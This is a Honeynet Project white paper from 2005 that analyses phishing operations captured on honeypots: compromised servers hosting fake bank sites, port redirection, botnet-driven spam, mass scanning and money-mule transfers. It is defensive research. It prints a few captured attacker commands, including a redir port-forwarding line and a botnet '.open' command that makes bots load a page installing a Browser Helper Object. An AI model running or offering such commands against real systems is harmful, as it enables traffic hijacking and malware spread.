Last Modified: 16th May 2005
Phishing is the practice of sending out fake emails, or spam, written to appear as if they have been sent by banks or other reputable organisations, with the intent of luring the recipient into revealing sensitive information such as usernames, passwords, account IDs, ATM PINs or credit card details. Typically, phishing attacks will direct the recipient to a web page designed to mimic a target organisation's own visual identity and to harvest the user's personal information, often leaving the victim unaware of the attack. Obtaining this type of personal data is attractive to blackhats because it allows an attacker to impersonate their victims and make fraudulent financial transactions. Victims often suffer significant financial losses or have their entire identity stolen, usually for criminal purposes. This KYE white paper aims to provide practical information on the practice of phishing and draws on data collected by the German Honeynet Project and UK Honeynet Project. This paper focuses on real world incidents that the Honeynet Project has observed in the wild, but does not cover all possible phishing methods or techniques. Attackers are constantly innovating and advancing, and there are likely to be new phishing techniques already under development or in use today.
After a brief introduction and background, we will review the actual techniques and tools used by phishers, providing three examples of empirical research where real-world phishing attacks were captured using honeynets. These incidents will be described in detail and include system intrusion, phishing web site preparation, message propagation and data collection. Common techniques and trends are then analysed, including the growing integration of phishing, spamming, and botnets. Examples of the malware used by phishers to automate harvesting of email addresses and sending of spam email are reviewed, and we also present our observations on network scanning techniques and how compromised machines are used to spread phishing emails and other spam. Finally, we conclude this paper with an overview of the lessons learned in the last six months and suggest further research topics.
This white paper includes extensive amounts of supporting information, with many hyperlinks to more detailed data on specific attacks available inline. Lastly, no confidential personal data was collected in the process of this research. In some cases, organizations involved in phishing attacks were contacted directly, or the incident data was forward to local CERTs.
Tricking others into giving out passwords or other sensitive information has a long tradition in the attacker community. Traditionally this activity has been performed through the process of social engineering. In the 1990s, with the increasing growth in interconnected systems and the popularity of the Internet, attackers started to automate this process and attack the mass consumer market. The first systematic research to cover such activity was published in 1998 by Gordon and Chess (Sarah Gordon, David M. Chess: Where There's Smoke, There's Mirrors: The Truth about Trojan Horses on the Internet, presented at the Virus Bulletin Conference in Munich, Germany, October 1998). Gordon and Chess were researching malware on AOL, but they were faced with phishing attempts instead of the expected trojan horse attacks. The term phishing ("password harvesting fishing") describes the fraudulent acquisition, through deception, of sensitive personal information such as passwords and credit card details by masquerading as someone trustworthy with a real need for such information. A phishing message described by Gordon and Chess is shown below:
Early phishing attacks were primarily aimed at gaining access to the victim's AOL accounts, or occasionally at obtaining credit card data for fraudulent purposes (e.g. to make illegal purchases with this information). Often the phishing messages contained a simple ruse to trick unskilled computer users and relied heavily upon the victim’s innate sense of trust in "automated" system functions or (apparent) figures of authority. As demonstrated in the previous example, this could be a story about a broken hardware device or the failure of a database, and most normal system users would take at face value any reasonably official-looking or highly urgent technical request that appeared to offer them assistance. Users were usually prompted to enter sensitive information quickly to avoid a serious problem, for example via the phrase "[...] and re-state your password. Failure to comply will result in immediate account deletion". To avoid potentially dire consequences the victims often complied immediately, unknowingly providing the social engineer with the credentials they required. Anecdotal evidence suggested that the culprits usually were acting alone or in small, unsophisticated groups. Literature often portrays early phishers as adolescents desiring account data for causing mischief and to make long distance phone calls, usually with little high level organisation or malice.
Today, the preferred strategy chosen by phishers is to bulk email their lures to as many end users as possible whilst masquerading as a trusted brand - usually one with whom the phisher hopes there is a chance that the victim already trusts. A request for urgent action is sent, often ironically to protect the user's confidential data from malicious activities, and this spoof email will contain an obscured link to a remote web-page that masquerades as the public web site of the target brand. The phisher hopes that victims will be tricked into submitting their credentials into a fake, but apparently legitimate looking "official" web interface for the trusted brand. Examples of the organisations being targeted by phishers include many well-known banks, credit card companies or well known Internet traders requiring regular payments (e.g. eBay and PayPal). Numerous examples of phishing emails targeting customers can be found at the Anti-Phishing Working Group web site, which has a archive of phishing emails, many of which illustrate the high degree of accuracy with which phishers can trick innocent users into believing they are accessing a legitimate web interface.
Following this brief introduction to the concepts of phishing, we will now review the actual techniques and tools we have captured during phishing attacks observed in the wild. If you are interested in further background on phishing, we have prepared this page of detailed background information.
Phishing attacks generally rely on a number of simple tools and techniques to trick unsuspecting users. The underlying infrastructure to support a phishing scam may be as basic as a simple copied HTML page uploaded to a freshly compromised web server and a server side script to process any user input data, or it may involve more complex web sites and content redirection, but generally the objectives are the same - to set up a fake web presence for a trusted brand with the necessary back end capabilities to process user input data and make it available to the attacker. Using modern HTML editing tools it is very easy to produce a web site mimicking a target organisation, and poorly secured web servers can easily be located and compromised if an attacker is not adverse to scanning entire portions of Internet IP address space in the search for vulnerable target hosts. Once compromised, even home PCs can make effective hosts for phishing web sites, so not only well known corporate or academic systems are targeted. Attackers are often indiscriminate in their choice of target computers, purely selecting large IP address blocks to scan at random for a particular exploitable security vulnerability.
Once a phisher has established a realistic and convincing fake web site that mimics a trusted brand, their main challenge is how to divert users of a legitimate web site to the fake web site instead. Unless the phisher has the ability to alter the DNS for a target web site (DNS poisoning) or somehow otherwise redirect network traffic (a technique sometimes referred to as pharming), they must instead rely on some form of content level trickery to lure unfortunate users to the fake web site. The better the quality of the lure, and the wider the net that can be thrown, the greater the chance of an innocent user mistakenly accessing the fake web site (and in the process potentially providing the phisher with the victim's credentials or other personal data).
Unfortunately for the attacker, when they target an individual organisation (such as a bank or trusted retailer), the phisher probably does not have any information about who on the Internet is a customer of the target organisation and therefore who might be most receptive to a particular lure. Although the attacker could post hyperlinks pointing to the fake web site on chat rooms and forums related to the target brand (such as a technical support web site or community discussion group), it is likely that the target organisation would be notified reasonably quickly and the offending hyperlinks removed or discredited before many victims had accessed the content and submitted their personal details. There would also be a significant risk that the target organisation or law enforcement agencies might trace and potentially shut down the fake web site. The phisher therefore requires a method of reaching the maximum number of potential victims with the minimum amount of risk, and they have found their ideal partner in crime in the form of spam email.
Spammers have databases containing many millions of active email addresses, so the latest mass emailing techniques can be employed to allow a phisher to distribute their lure to a very wide audience with very low risk. Spam emails are often sent via compromised servers hosted in foreign countries, or via global networks of zombie PCs (botnets), so the likelihood of an individual sender being traced is low. If an unsuspecting user receives an officially branded email that appears to have been sent by their bank which asks them to go to what appears to be the bank's usual branded web site to change their online banking password for security reasons, they are much more likely to consider doing so than when confronted with standard spam emails about novelty products and links to unknown web sites. To increase the likelihood that a user will believe that an email is genuine, the phisher can employ a number of techniques to further improve the quality of their attempted deception:
Due to the relatively complex nature of many e-commerce or online banking applications, which often employ HTML frames and sub-frames or other complex page structures, it may be difficult for an end user to easily determine if a particular web page is legitimate or not. A combination of the techniques listed above may mask the true source of a rendered web page and an unsuspecting user might be tricked into mistakenly accessing the phisher's fake web site, unknowingly divulging their authentication credentials or other personal data. At this point the phisher will be free to make use of the user's accounts or electronic identity as required, and the user becomes another victim of a successful phishing attack.
Very often Internet users become aware of phishing attacks by receiving spoof emails themselves or viewing a recorded copy of a malicious web site below the headlines on a technology news site, long after the server temporarily hosting the phishing content has been taken down. These events tend to be viewed in isolation and purely from the perspective of the victim. One of the major benefits that honeynet technology can offer is the capability to capture all activity from the perspective of the attacker, allowing security analysts to build up a more complete understanding of the entire life span of a phishing attack. Members of the Honeynet Project's Research Alliance are fortunate enough to have captured a number of rich data sets that can help to illustrate the stages of such an attack, from initial compromise and phishing web site set up through to mass emailing and victim data capture. Three different examples of typical real world phishing techniques are presented and reviewed below.
Most phishing attacks that we have observed in the wild involve attackers breaking in to vulnerable servers and installing malicious web content. Honeynet technology allows us to capture in detail the typical life cycle of a phishing attack, and in general terms the flow of events we have observed during such incidents are as follows:
Often the time taken for this incident life cycle is only a matter of hours or days from when the system is first connected to the Internet, and our research suggests that such activity is taking place on many servers and targeting many organisations at once. We will illustrate these theories using data recorded during two incidents that are typical of common phishing attacks, using one incident observed by the German Honeynet Project and one incident observed by the UK Honeynet Project. In each case, vulnerable Linux honeypots were deployed by Honeynet Research Alliance members. The subsequent compromise of both honeypots shared a similar modus operandi: the vulnerable honeypots were scanned and compromised in quick succession, with pre-built phishing web sites and mass emailing tools for sending spam emails being uploaded and used by the attackers. Rootkits and IRC servers were also installed during these attacks, something we commonly observed in other similar incidents. The compromised honeypots were also used for several different purposes in addition to phishing: as an IRC bot by Romanian attackers and also as a scanner to locate and attack additional vulnerable computers (although the honeynet architecture prevented the attackers from successfully exploiting other servers from the compromised honeypots). Some interesting differences were also apparent, not least in the case of the UK incident, where several different groups accessed the compromised honeypot at the same time, making forensic analysis more complicated. For the sake of brevity, we have not included the details of these specific attacks in this paper and have only covered the lessons learned and how they apply to phishing. If you would like to review more details about the specific attacks, the following information is available:
The table below shows a summary of the key factors and differences between the incidents:
|Data||DE Incident||UK Incident|
|Compromised honeypot||Redhat Linux 7.1 x86.||Redhat Linux 7.3 x86.|
|Location||German corporate network.||UK ISP data centre.|
|Attack method||"Superwu" autorooter.||"Mole" mass scanner.|
|Vulnerability exploited||Wu-Ftpd File globbing heap corruption vulnerability (CVE-2001-0550).||NETBIOS SMB trans2open buffer overflow (CAN-2003-0201).|
|Level of access gained||Root.||Root.|
|Rootkit installed||Simple rootkit that backdoors several binaries.||SHV4 rootkit.|
|Probable attackers||Unknown.||Multiple groups from cable modem IP ranges in Constanta region of Romania.|
|Web site activity||Multiple pre-built phishing web sites downloaded targeting eBay and major US banks.||Pre-built phishing web site downloaded targeting a major US bank.|
|Server side processing||PHP script to validate user input.||PHP script with more advanced user input validation and data categorisation.|
|Email activity||Tried to send spam (example 1, example 2), but blocked by Honeywall.||Only test emails sent, potentially to fellow phishers. Improved syntax and presentation.|
|Mass emailing method||Basic PHP script from medium sized input list of email addresses.||Basic PHP script from small input list of email addresses - possibly just a test.|
|Victim traffic reached honeypot||No, spam advertisement and access to phishing web site blocked.||Yes. 265 HTTP requests in 4 days, not due to spam sent from this server (no customer details were compromised).|
From observing the phisher's keystrokes in both incidents (captured using Sebek), it is clear that the attackers connected to pre-existing back doors and immediately went to work deploying their phishing web sites. The attackers appeared to be familiar with the server environment, suggesting they were part of the group who originally compromised the honeypots, and that the phishing attempt was fairly well organised. As the uploaded web content often referred to other web servers and IP addresses, it is also likely that such activity was probably occurring on multiple servers at once.
Analysis of the phishing web site content downloaded by attackers during these incidents makes it clear that phishers are simultaneously targeting many well known online brands. Well constructed and officially branded pre-built fake web sites are routinely being deployed onto compromised servers - often targeting multiple organisations via separate "micro sites", with separate web server document roots, along with the necessary tools to propagate spam emails to potential phishing victims. Directory listings observed during FTP sessions also confirm that the attackers were heavily involved in spam and phishing activities, revealing pre-built web content and message delivery tools stored on a central server and appearing to target at least eBay, AOL, and several well known US banks in the case of the UK incident. These individual phishing attacks are unlikely to be isolated events, as the spam emails sent during the incidents often directed victims to a different web server than the compromised honeypot. This indicates that phishers are running multiple fake web servers and sending spam from multiple systems at once. Parallel phishing operations are also indicated by the timing of the first inbound HTTP request for phishing content after the UK honeypot was compromised:
This inbound HTTP request to the honeypot occurred before the attackers had finished setting up the fake online banking content on the honeypot, and confirms the hypothesis that the attacker knew in advance that this server was available for use as a phishing web site. Spam messages advertising the new phishing web site were already being emailed to victims from another host, even whilst the attacker was setting up the new phishing web site.
We were surprised by the number and range of source IP addresses making inbound HTTP requests to the compromised honeypot for the fake online banking content. The graph below shows the number of unique and repeat HTTP requests from individual IP addresses to the UK phishing web site before the honeypot was disconnected to protect end users (and the incident details logged with the targeted bank):
A breakdown of the source top level DNS domains, countries and host operating systems accessing the phishing content on the UK honeypot can be found here. Note that before the honeypot was taken offline for forensic analysis, although web traffic for the phishing web site did arrive at the UK honeypot, no HTTP POST requests were made to the PHP script that processes users' data and therefore no user data was compromised during this phishing attack. In all the incidents discussed in this white paper, either the target organisation was notified of the incident and any relevant data was made available to them on request, or the local CERT was notified of any malicious activity. In all cases no compromised victim personal data was captured by Honeynet Project or Research Alliance members.
Data from these two example incidents suggests that phishers are active and organised, moving quickly between compromised computer systems and simultaneously targeting multiple well known brands. It also appears that a number of email users are regularly being tricked into accessing fake web interfaces for organisations such as online banks or retailers, and risk becoming victim's of phishing attacks.
In November 2004, the German Honeynet Project deployed a classic GenII honeynet with a Redhat Linux 7.3 honeypot. Although this is a relatively old operating system release and an easy target for attackers, it surprisingly took around 2.5 months before the honeypot was successfully compromised - a marked contrast with the relatively quick compromise of the honeypots discussed in the incidents above. More information on this trend can be found in a previous KYE white paper "Know your Enemy: Trends".
On January 11th 2005, an attacker did successfully compromise the honeypot, using an exploit for the OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability present in the default Redhat Linux 7.3 distribution. This incident was unusual in that once the attacker had gained access to the compromised system, no phishing content was uploaded directly. Instead, the attacker installed and configured a port redirection service on the honeypot.
This port redirection service was designed to re-route HTTP requests sent to the honeypot web server to another remote web server in a transparent manner, potentially making the location of the content source harder to trace. The attacker downloaded and installed a tool called redir on the honeypot, which was a port redirector utility designed to transparently forward incoming TCP connections to a remote destination host. In this incident the attacker configured the tool to redirect all incoming traffic on TCP port 80 (HTTP) of the honeypot to TCP Port 80 (HTTP) on a remote web server in China. Interestingly, the attacker did not bother to install a rootkit to hide their presence on the honeypot, which suggests that the attacker did not value the compromised server too highly and that they were not particularly worried about being detected.
The command used by the attacker to establish port redirection was:
redir --lport=80 --laddr=<IP address of honeypot> --cport=80 --caddr=221.4.XXX.XXX
In addition, the attacker modified the Linux system start up file /etc/rc.d/rc.local to ensure that the redir port redirector service would be restarted if the honeypot system was rebooted, improving the chance of survival for their port redirection service. They then began to send out spam phishing emails which advertised the honeypot, an example of which can be found here (note that relevant sensitive information has been obfuscated).
To further investigate the activities for the phisher, members of the German Honeynet Project intervened and covertly modified the configuration of the attacker's redir tool installed on the honeypot, enabling logging within the redir application itself, to more easily observe how many people received a spam email advertising the honeypot and then clicked on a hyperlink to access the transparently redirected phishing content. Within a period of about 36 hours, 721 unique IP addresses were redirected, and once again we were surprised by how many users were apparently being tricked into accessing such content through phishing emails. An analysis of the IP addresses accessing the port redirector honeypot can be found here (note that this information has been sanitized to protect the users who accessed the phishing content, and again only IP data was logged during this research. No confidential user data was captured).
A summary timeline of the incident is provided below:
|Date / Time||Event|
|1st Nov 2004||First network probe data of honeypot|
|11th Jan 2005 - 19:13||Honeypot OpenSSL service compromised, port redirector installed and phishing spam sent|
|11th Jan 2005 - 20:07||Web requests for phishing content begins to arrive at honeypot|
|13th Jan 2005 - 8:15||Honeypot taken offline for forensic analysis|
The recent white paper by the Honeynet Project called "KYE: Tracking Botnets" introduced a method to track botnets. A botnet is a network of compromised computers that can be remotely controlled by an attacker. Due to their immense size (tens of thousands of systems can be linked together), botnets can pose a severe threat to the community when used for Denial-of-Service (DoS) attacks. Initial research in this area demonstrated that botnets are sometimes used to send out spam emails and can also be used for phishing attacks. During a study in October 2004, email security company CipherTrust suggested that 70% of monitored phishing spam was sent through one of five active botnets, but our own observations suggest that many more botnets are in use for spam operations. Although not the analysis of one single incident, in this section we present our observations on the tools and techniques used by attackers engaged in phishing via botnets.
During the period between September 2004 and January 2005, the German Honeynet Project deployed a series of un-patched Microsoft Windows based honeypots to observe botnet activity. An automated process was developed to allow honeypots to be repeatedly deployed, compromised and shutdown for forensic analysis. During this period over 100 separate botnets were observed and thousands of files were captured for offline analysis.
Some versions of bot software captured during this research project provided the capability to remotely start a SOCKS v4/v5 proxy on a compromised host. SOCKS provides a generic proxy mechanism for TCP/IP-based networking applications (RFC 1928) and can be used to proxy most popular Internet traffic, such as HTTP or SMTP email. If an attacker with access to a botnet enables the SOCKS proxy functionality on a remote bot, this machine can then be used to send bulk spam email. If the botnet contains many thousands of compromised hosts, an attacker is then able to send massive amounts of bulk email very easily, often from a wide range of IP addresses owned by unsuspecting home PC users.
The lack of a central point of contact and the range of international boundaries crossed could make it very difficult to trace and stop such activity, making it of low risk, but potentially high reward to spammers and phishers. Perhaps unsurprisingly, resourceful botnet owners have begun to target criminal activity and it is now possible to rent a botnet. For a fee, the botnet operator will provide a customer with a list of SOCKS v4 capable server IP addresses and ports. There are documented cases where botnets were sold to spammers as spam-relays: "Uncovered: Trojans as Spam Robots". Some captured bot software also implemented a special function to harvest email-addresses or to send spam via bots. The following listing shows some of the commands related to sending spam/phishing emails implemented in Agobot, a popular bot used by attackers and a variant regularly captured during our research:
Further information about how these commands are implemented can be found here in a side note about the source code of bots. With the help of drone, a customised IRC client developed by the German Honeynet Project, we were able to learn more about how bots are used for spam/phishing email attacks by smuggling a fake client into a botnet using the connection data collected through the attacks against our honeynets. A number of typical examples of observed activity are shown below.
Within one particular botnet we observed an attacker who issued the following command (please note that the URLs have been obfuscated):
The command .mm ("mass emailing") is a customized version of the generic spam.start command. This command accepts four parameters:
In this case, the fetch.php script returned 30 different email addresses every time it was invoked. To each of these recipients, an email message was constructed that advertised the second parameter of the command. In this example, it pointed to a web-page which attempted to install an ActiveX component on the victim's computer.
In another botnet we observed the installation of Browser Helper Objects on a victim's PC:
[TOPIC] #spam9 :.open http://amateur.example.com/l33tag3/beta.html -s
The .open commands tells each bot to open the requested web-page and display it to the victim. In this case the web-page contained a Browser Helper Object (BHO) that would attempt to install itself on the victim's computer. As the channel name indicates, this botnet was also used for sending spam.
In another botnet we observed examples of spyware propagation:
This link was found during analysis of captured malware. It directs the victim to the web-page of a company that offers "free ad delivery software which provides targeted advertising offers". This web site contains several pages that try to install ActiveX components on visiting clients, presumably adware or spyware.
A number of common themes were observed during our research into phishing attacks, and it is clear that attackers are employing a blend of tools and techniques to improve their chances of success. We will now briefly review two such techniques - mass scanning and combination attacks.
Analysis of a number of compromised honeypots suggests that the systems were being attacked using automated attack scripts or exploits, often known as autorooters. In both the incidents described in phishing technique one above, once the attackers had compromised the honeypots, autorooter toolkits were uploaded to the server. The attackers then attempted to scan large ranges of IP addresses for similarly vulnerable servers (using scanners called "superwu" in the German incident and "mole" in the UK incident). Captured attacker keystrokes from the UK incident are show below, showing examples of the types of mass scanning activity attempted from compromised honeypots. Note that due to the honeynet configuration, hostile outbound traffic was blocked and these attacks did not succeed.
Attacker extracts scanner and attempts to scan class B network blocks:
In the final example above, note that the hosts that the attacker attempts to compromise are not part of the IP address ranges scanned from this honeypot, which again provides evidence of well coordinated and parallel mass scanning activity.
Further investigation of the mole.tgz file downloaded by UK attackers revealed a number of text files in the root directory of the unpacked autorooter toolkit. These files included scan configurations and logs of previous scanning activity for the "grabbb2.x and samba2.2.8 vulnerability". 42 cases of attacks against other hosts were present in these files, along with evidence of mass scanning of many class B network blocks, confirming that the observed incident was part of larger and more organised attack against similar systems. An example of the output from the mole scanning tool, viewed from an attacker's perspective, can be found here.
Finally, some of the mass scanning tools recovered from compromised honeypots do not appear to be in popular circulation, which suggests that the attackers had some level of development and tool smith capabilities beyond basic script kiddy activity, or were part of a closed community that did not share their tools in public forums. Again, this suggests more organised attackers.
In our research, we also observed that phishers are frequently combining the three attacking techniques we have observed and documented in this white paper, sometimes combining multiple methods to provide redundancy and protect their phishing infrastructure through implementation of a two-stage networking configuration. The following diagram depicts a possible phishing network topology:
In this example a central web server hosts the physical phishing content, often serving more then one web site (e.g. an eBay phishing-site in /ebay and a PayPal phishing-site in /paypal). Several compromised remote computers redirect incoming HTTP traffic on TCP port 80 to the central web server with the help of the redir port redirector. This has several advantages from an attacker's point of view when compared to a single phishing web site:
The use of such techniques again suggests more organised and capable attackers, rather than the work of simple script kiddies. Similar operational models are often used by major web hosting companies and high volume content providers.
Our research has also shed light on how phishers use captured information about bank accounts, for example, an account number with associated TAN (transaction number used in electronic banking). Since foreign currency transfers are monitored by most banks, phishers cannot simply transfer large amounts of money from one country to another without alerting the financial authorities. Phishers therefore have to use intermediaries to transfer money for them - in a two stage process the phisher transfers money from the victim's bank account to a bank account of an intermediary in the same country. The intermediary then withdraws the money from their bank account (less a percentage remuneration for providing the service) and sends it to the phisher, for example by surface mail. Of course, the intermediary could be caught, but as the phisher's money is already in transit they do not face too much risk and can easily change to channel their funds through a replacement intermediary. An example email demonstrating some of the financial structures behind phishing attacks is show below:
This is a poor translation from English to German, probably computer-generated, and it suggests that the attackers are not native English speakers. Since the money will be transferred to Russia, the attacker probably originated from this country. This behaviour is becoming increasingly common as phishing activities become more organised.
One conclusion was immediately obvious when we started to analyse data from the UK honeynet compromise in phishing technique one above - due to multiple simultaneous attacks by different blackhat groups, a significant amount of time would be required to extract and prepare the data from the network streams before more detailed analysis could take place. This data extraction process is repetitive and tedious, and if carried out manually represents an inefficient use of valuable analysis time. An automated solution was required.
The honeysnap script, written by David Watson of the UK Honeynet Project, grew out of this idea and was designed to process honeynet data feeds on a daily basis and produce a simple summary output to direct later manual analysis. The honeysnap script breaks down the data for each honeypot and provides lists of outbound HTTP and FTP GETs, IRC messages and Sebek keystroke logs. TCP stream re-assembly for interesting connections is automated, as is extraction, identification and storage of files downloaded by FTP or HTTP, meaning that much of the time-consuming preparatory work of incident analysis is removed, leaving the analysts free to concentrate on manually investigating key elements of an incident. Honeysnap also provides an automated method for screening IRC traffic for interesting keywords (e.g. bank, account, password) and providing daily summary reports by email.
Currently honeysnap is a basic proof of concept UNIX shell script and the alpha release can be found here, whilst a set of sample honeysnap output can be found here. A modular and fully expandable version written in Python is currently under development by members of the Honeynet Project and will be beta released to the community in June 2005.
The information presented in this white paper suggests a number of potential avenues for future research in the area of phishing attacks and we would recommend further investigation of the following subjects:
We would like to investigate if honeypots can be used to help in the fight against spammers and phishers. One possible research project would be to deploy additional honeypots of a type regularly used in previously observed phishing attacks or tuned to present attractive targets to spammers (such as SMTP open relays). Analysis of further attacks against these systems would help us to learn more about the anatomy of phishing attacks, particularly in the area of phishing using botnets, and to track the evolution of phishing techniques. Another research possibility would be to further develop the idea of honeypots and produce "client-side honeypots". This type of next-generation honeypot would actively participate in communication networks, for example, by automatically follow links in spam emails and accessing the target content. Client-side honeypots could idle in IRC-channels or share/download files via peer-to-peer networks, further improving our knowledge about the type of threats present in these communication networks.
In addition, we would like to investigate potential methods of countering or stopping phishing attacks. Since the time window between the start and end of a phishing attack is likely to be limited to a matter of only hours or days, and the source hosts are widely distributed, this is a difficult task. Current research efforts in this area (for example The AntiPhishing Group and PhishReport) concentrate on collecting phishing emails received by end users. Whilst this is a viable approach, capture occurs at the final stage in the incident lifecycle. An automated approach to capturing and responding to phishing attacks would be more desirable.
We suspect that accounts and passwords are being traded between blackhat groups, probably via IRC. Honeynet technology could be used to capture such communication and further understand phishing activities. In addition, phishing tools often appear to be downloaded from a number of regularly updated central web or FTP servers. Although more contentious, monitoring of such activity or contacting the system owners would help to prevent some phishing activity, and a framework for operating such research and potential countermeasures could be established.
Further work is required to improve the automation of incident analysis, particularly in automatic profiling of data captured during such attacks. Automation of traffic and IP address extraction, reverse DNS and IP block ownership lookups, per IP address or per domain traffic summaries and en-masse passive operating system fingerprinting would all be particularly useful when analysing large data sets, as would a local forensic database of known hosts, attackers, attack signatures, message contents, etc. In the longer term, agreed standards for sharing such information and a global forensic database to support analysis of distributed blackhat activities would be highly desirable and of significant benefit to the community.
In this paper we have presented a number of real world examples of phishing attacks and the typical activities performed by attackers during the full lifecycle of such incidents. All the information provided was captured using high interaction research honeypots, once again proving that honeynet technology can be a powerful tool in the areas of information assurance and forensic analysis. We analysed multiple attacks against honeypots deployed by the German and UK Honeynet Projects. In each incident phishers attacked and compromised the honeypot systems, but after the initial compromise their actions differed and a number of techniques for staging phishing attacks were observed:
This data has helped us to understand how phishers typically behave and some of the methods they employ to lure and trick their victims. We have learned that phishing attacks can occur very rapidly, with only limited elapsed time between the initial system intrusion and a phishing web site going online with supporting spam messages to advertise the web site, and that this speed can make such attacks hard to track and prevent. IP address blocks hosting home or small business DSL addresses appear to be particularly popular for phishing attacks, presumably because the systems are often less well managed and not always up to date with current security patches, and also because the attackers are less likely to be traced than when targeting major corporate systems. Simultaneously attacking many smaller organisations also makes incident response harder. We have observed that end users regularly access phishing content, presumably through receiving spam messages, and a surprisingly large number appear to be at risk from becoming victims of such attacks.
Our research also suggests that phishing attacks are becoming more widespread and well organised. We have observed pre-built archives of phishing web sites targeting major online brands being stored, ready for deployment at short notice, suggesting the work of organised phishing groups. Such content can be further propagated very quickly through established networks of port redirectors or botnets. When coupled with evidence of mass scanning and hard coded IP addresses in web content and scripts, this suggests that many instances of a particular phishing site may be active at any one time. Web traffic has been observed arriving at a newly compromised server before the uploaded phishing content was completed, and phishing spam sent from one compromised host does not always appear to advertise the sending host, which again suggest it is likely that distributed and parallel phishing operations are being performed by organised groups.
Our research demonstrates a clear connection between spamming, botnets and phishing attacks, as well as the use of intermediaries to conceal financial transfers. These observations, when combined with quantitative data on mass vulnerability scanning and combined two-stage phishing networks, demonstrate that the threat posed by phishers is real, their activities are organised, and the methods they employ can sometimes be quite advanced. As the stakes become higher and the potential rewards become greater, it is likely that further advancements in phishing techniques and an increase in the number of phishing attacks will continue in the coming year. Reducing the number of vulnerable PCs contributing to botnets, countering the increasing volume of spam email, preventing organised criminal activity and educating Internet users about the potential risks from social engineering all remain significant security challenges.
A summary of all the linked sub-sections of this paper that provide supporting detail can be found below:
This side note provides further detailed background on phishing attacks, beginning with a historic overview of phishing and social engineering, and concluding with quantitative data on phishing attempts and information on high level trends.
During the 1990’s, as the popularity and take up of the Internet grew, social engineering was gradually transformed and attackers began to focus on the mass consumer market. Phishers moved from AOL to the unregulated and more anonymous Internet, with email becoming the preferred medium for engaging (often naïve) end users. One reason for this change of focus might be that online discussion forums, IRC and instant messaging were increasingly portrayed by the press as dangerous places, where evildoers and system crackers waited to ambush unsuspecting users. Also, users had become aware that legitimate companies nearly exclusively use telephone, email and traditional postal mail as means of communication with their customers, rarely participating in less formal chat sessions. Users had also become more familiar with and confident in trusting web based authentication systems, e-shopping with credit cards, online banking services and the protection offered by technologies such as Secure Sockets Layer (SSL) - all fronted by a myriad of different looking user interfaces.
Internet based email solutions continued to evolve at a rapid rate, with increasingly complex methods being offered to customise the look and feel of email messages and therefore potentially fooling unsuspecting users into trusting spoofed communications that might appear to be legitimate. When compared to established and relatively well policed closed loop systems, it still remains difficult for consumers to trace the exact origin of an SMTP mail message, and the available global user base of Internet email is many times larger. Even activities with a very low success rate can still be attractive to an attacker if the number of end users receiving the message is large enough to generate a number of responses, as can be witnessed by the continued growth in organisations willing to pay for the sending of spam and many users' own experiences of inboxes regularly full of unsolicited email.
In a more sinister turn, phishers have not only changed their primary means of communication to email, they have also started operating in a more organised manner and to target their attacks against more profitable information. In recent years, requests for AOL accounts or single credit card numbers have gradually been replaced with schemes aimed at obtaining more sensitive data, such as personal information that could allow unlimited access to online banking services or that could serve as a foundation to enable identity theft. Sensitive information to fraudulently impersonate another person’s identity might include name, date of birth, address, social security number or "secret" information such as mother's maiden name, account numbers, first school, pet’s name, user names, passwords, Personal Identification Numbers (PINs) or even one-time passwords (which are quite common in European Internet banking).
The following chart that shows the top corporate phishing targets based on responses in a recent survey of spam recipients (October 2004) by email security company CipherTrust:
Phishing attacks have affected many users and have caused serious problems for some major banks. In extreme cases, some banks have been forced to shut down their ebanking operations for period of time due to phishing attacks. The exact cost to the banking industry of phishing attacks is not available in the public domain, and there are few well documented qualitative examples of public arrests and prosecution (such as in Estonia or Brazil), but it is likely to be substantial. In most cases banks will refund the money lost by their customers due to phishing attacks, although they reserve the right not to refund such losses at their discretion. Estimates by the Association for Payment Clearing Services (APACS) for the cost of phishing attacks against UK banks were £1M for the previous 18 months to April 2004, rising to £12M by March 2005. Australian estimates for March 2005 were A$25M, whilst Financial Insights estimates the cost to US business to be $400M in 2004. A study by Gartner estimated the cost in 2003 to be $1.2B and the number of reported phishing attacks have massively increased since then.
In October 2004 the Anti-Phishing Working Group reported that it had seen 6597 new phishing emails, an increase of 36% on the previous month. 1142 phishing web sites were reported, double the number for September and part of a "bumper month" during a period of huge growth in automated phishing attacks. Email filtering specialist MessageLabs reported that it intercepted more than 18 million phishing messages during 2004, and the graph below clearly shows the growth in attempted phishing attacks by email:
The loss of trust, impact on consumer confidence and the associated financial costs of phishing attacks have become important enough for banks to set up web sites such as BankSafe Online to try and educate their customers, and most target brands now provide sections of their official web site with advice on identifying and avoiding online scams (such as Citizen Bank's "Online Fraud Prevention Centre" or Citibank's "Learn About Spoofs" pages ). Other organisations such as the Anti Phishing Working Group are also hoping to educate consumers as to the potential risks and teach Internet users how to avoid online scams such as phishing attacks. However, the main challenge in preventing phishing attacks is that phishing is not a pure technology problem - the major contributing factor is human nature, and as long as attackers can continue to create schemes to trick unwary users, phishing will continue to be successful and potentially lucrative. As Bruce Schneier writes in a recent weblog, even issuing all end users with two-factor authentication doesn't really help to solve the problem if the phisher is successful in tricking the users into authenticating themselves against a fake, malicious system. Given the combination of human nature, the rapid rate of technological change and the potential for illegitimate profits to be made, it seems safe to assume that the problem of phishing will get worse before it gets better.
his side note provides a more detailed overview of the two incidents discussed in the "Phishing Technique One - Phishing Through Compromised Web Servers" section of this whitepaper. One incident was catpured using a honeypot deployed by the German Honeynet Project, and the other incident was captured by a honeypot deployed by the UK Honeynet Project.
The honeynet deployed and analysed by the German Honeynet Project in the first incident formed part of a diploma thesis ("Planung und Realisierung eines Honeynet zur Analyse realer Angriffe aus dem Internet") by a graduate student at MAGELLAN Netzwerke GmbH in Cologne, Germany. The honeynet was a high interaction research honeynet deployed by the German Honeynet Project during November 2004. The honeynet topology is depicted below:
The honeynet deployed was a typical GenII honeynet based on the three basic principles defined by the Honeynet Project: data capture, data control and data analysis.
Data capture was performed by recording all inbound and outgoing network traffic for later analysis, using packet sniffing tools such as tethereal. All network traffic to and from a RedHat Linux honeypot was mirrored via the monitor port of a network switch and logged using the popular open source Intrusion Detection System snort running in binary capture mode (as daily pcap files). To allow keystroke logging after a successful system compromise, version 2.1.7 of the Honeynet Projects Sebek kernel module was installed on the honeypot. The Redhat syslog daemon was also modified to output syslog information to the serial port for capture by the honeynet gateway.
